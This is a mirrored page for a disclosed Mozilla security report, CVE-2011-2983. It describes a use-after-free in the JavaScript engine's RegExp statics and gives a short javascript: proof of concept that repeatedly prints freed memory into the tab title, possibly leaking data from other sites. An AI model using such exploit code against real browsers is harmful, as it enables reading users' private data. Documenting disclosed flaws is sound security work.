Skip to content
Disclosed report CVE-2011-2983

regexp-statics possibly allows to read private data

shutdown Follow

Originally disclosed on Mozilla

  • Fixed in 6 months
  • Paid in 2.5 years
  • Disclosed after 6 months
Text
Created attachment 504334
screenshot of the success case

Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.13) Gecko/20101203

Description:
When RegExp.input is set,
JSSubString which RegExp.$1 uses becomes a dangling pointer.
So, scripts can read a freed-and-recycled memory area.

Testcase:

1. Open the new tab and execute:

javascript:
  function S(v) { return "xxxxxxx,xxxxxxx,xxxx" + v; }
  /^(.*)/.exec(S(0));
  RegExp.input = S(1);
  clearInterval(window.tid);
  window.tid = setInterval(function () {
    document.title = "[" + RegExp.$1 + "]";
  }, 1000);
  void 0;

2. Then browse some sites in other tabs.

The original report as published on Mozilla's Bugzilla, by shutdown. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A security bug in JavaScript Engine. Mozilla made it public on 22 July 2011 as CVE-2011-2983.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

More by shutdown

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.